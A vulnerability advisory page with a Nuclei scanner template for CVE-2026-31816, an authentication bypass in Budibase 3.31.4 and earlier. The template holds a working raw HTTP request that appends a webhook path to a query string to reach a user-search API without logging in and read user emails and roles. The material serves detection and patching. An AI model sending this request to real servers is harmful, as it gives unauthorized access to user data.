Budibase - Authentication Bypass
CVE-2026-31816
Verified
Description
Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.
Severity
Critical
CVSS Score
9.1
Exploit Probability
16%
Published Date
March 25, 2026
Template Author
theamanrawat
CVE-2026-31816.yaml
id: CVE-2026-31816
info:
name: Budibase - Authentication Bypass
author: theamanrawat
severity: critical
description: |
Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.
impact: |
Unauthenticated remote attackers can bypass all authentication and authorization to access any server-side API endpoint.
remediation: |
Update to a version later than 3.31.4 or latest available version.
reference:
- https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8
- https://nvd.nist.gov/vuln/detail/CVE-2026-31816
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-31816
epss-score: 0.16429
epss-percentile: 0.94968
cwe-id: CWE-74
metadata:
max-request: 1
verified: true
tags: cve,cve2026,budibase,auth-bypass,vuln,unauthenticated
http:
- raw:
- |
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-budibase-app-id: {{app_id}}
{"query":{},"limit":1000}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "email", "roleId", "status")'
condition: and
# digest: 490a0046304402200b3464610889b67ea9b4a0ab567f39c3e984f3400230b04b815a791ce3b01fce02204e09a23bee4e7a995bb0c5b8f5d0f63c196935ad48b9adf223fdf44c8cb6a65b:922c64590222798bb761d5b6d8e729509.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVE ID:
cve-2026-31816
CWE ID:
cwe-74
Remediation Steps
Update to a version later than 3.31.4 or latest available version.